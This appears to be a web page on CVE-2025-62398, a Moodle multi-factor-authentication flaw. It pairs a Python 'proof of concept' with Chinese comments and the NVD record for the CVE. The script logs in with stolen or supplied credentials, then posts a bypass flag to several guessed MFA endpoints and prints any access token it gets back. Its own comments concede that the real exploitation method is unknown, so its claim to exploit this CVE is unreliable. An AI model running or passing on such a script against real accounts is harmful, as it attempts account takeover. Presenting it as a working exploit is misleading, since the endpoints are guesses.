CVE-2025-62398

# CVE-2025-62398 MFA Bypass PoC (概念验证) # 注意：此代码仅用于安全研究和教育目的 import requests import sys from urllib.parse import urljoin def exploit_mfa_bypass(target_url, username, password): """ 概念验证：演示MFA绕过攻击 实际攻击需要根据目标系统具体实现进行调整 """ session = requests.Session() # Step 1: 正常登录获取有效会话 login_url = urljoin(target_url, '/api/auth/login') login_data = { 'username': username, 'password': password } response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] 登录失败: {response.status_code}") return False print("[+] 第一因素认证成功") # Step 2: 尝试绕过MFA # 实际漏洞利用方式需要根据具体系统分析 mfa_bypass_urls = [ '/api/auth/mfa/verify', '/api/auth/mfa/skip', '/api/auth/complete-auth', '/api/auth/session/upgrade' ] for mfa_url in mfa_bypass_urls: try: # 尝试不提供MFA token直接完成认证 bypass_response = session.post( urljoin(target_url, mfa_url), json={'bypass': True} ) if bypass_response.status_code == 200: print(f"[+] MFA绕过成功: {mfa_url}") print(f"[+] 访问令牌: {bypass_response.json()}") return True except Exception as e: continue print("[-] MFA绕过失败（可能需要进一步分析目标系统）") return False if __name__ == '__main__': if len(sys.argv) < 4: print(f"用法: {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) exploit_mfa_bypass(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2025-62398", "sourceIdentifier": "[email protected]", "published": "2025-10-23T12:15:32.430", "lastModified": "2025-11-14T19:14:07.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A serious authentication flaw allowed attackers with valid credentials to bypass multi-factor authentication under certain conditions, potentially compromising user accounts."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.11", "matchCriteriaId": "CED60CDC-8F12-481C-9ADD-8559860A2B3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.7", "matchCriteriaId": "5414437D-2D9C-4565-853F-EAF761F52E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "672DBB86-D5A8-41B6-B6F3-8E323E9C21F0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-62398", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404431", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}